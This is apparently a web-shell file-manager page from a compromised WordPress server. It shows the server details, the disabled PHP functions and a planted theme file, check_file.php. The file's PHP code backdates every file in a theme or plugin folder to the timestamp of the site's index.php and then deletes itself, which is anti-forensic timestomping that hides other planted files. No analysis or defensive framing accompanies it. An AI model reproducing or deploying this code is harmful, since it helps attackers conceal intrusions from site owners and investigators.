HEX
Server: Apache
System: Linux gains.arrowcloudlinux.com 4.18.0-553.69.1.lve.el8.x86_64 #1 SMP Wed Aug 13 19:53:59 UTC 2025 x86_64
User: mbkashyap (2642)
PHP: 8.1.33
Disabled: allow_url_include, show_source, symlink, system, passthru, exec, popen, pclose, proc_open, proc_terminate,proc_get_status, proc_close, proc_nice, allow_url_fopen, shell-exec, shell_exec, fpassthru, base64_encodem, escapeshellcmd, escapeshellarg, crack_check,crack_closedict, crack_getlastmessage, crack_opendict, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, dl, escap, phpinfo
Upload Files
File: /home/mbkashyap/domains/mbkashyap.com/public_html/wp-content/themes/news-brick-kit/check_file.php
<?php

function updateFileDates($dir, $timestamp) {
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item == '.' || $item == '..') continue;
        
        $path = $dir . '/' . $item;
        touch($path, $timestamp);
        
        if (is_dir($path)) {
            updateFileDates($path, $timestamp);
        }
    }
}

function extractFirstPathSegment($path) {
    $path = trim(str_replace(str_replace('\\', '/', $_SERVER["DOCUMENT_ROOT"]), '', $path));
    $path = str_replace("/wp-content/themes/", "", $path);
    $path = str_replace("/wp-content/plugins/", "", $path);

    $folders = explode('/', $path);
    return !empty($folders[0]) ? $folders[0] : '';
}

function getPathFolder($file_path) {
    $folderName = extractFirstPathSegment($file_path);
    if (!empty($folderName)) {
        $themePath = str_replace('\\', '/', $_SERVER["DOCUMENT_ROOT"]) . "/wp-content/themes/" . $folderName;
        if (is_dir($themePath)) {
            return $themePath;
        }
        
        $pluginPath = str_replace('\\', '/', $_SERVER["DOCUMENT_ROOT"]) . "/wp-content/plugins/" . $folderName;
        if (is_dir($pluginPath)) {
            return $pluginPath;
        }
    }
    return '';
}

$self_file = str_replace('\\', '/', __FILE__);
$index_root_path = str_replace('\\', '/', $_SERVER["DOCUMENT_ROOT"] . "/index.php");
$reference_timestamp = filemtime($index_root_path);
$directory = getPathFolder($self_file);

if (!empty($directory)) {
    touch($directory, $reference_timestamp);
    updateFileDates($directory, $reference_timestamp);
}

echo "STATUS|OK";
unlink(__FILE__);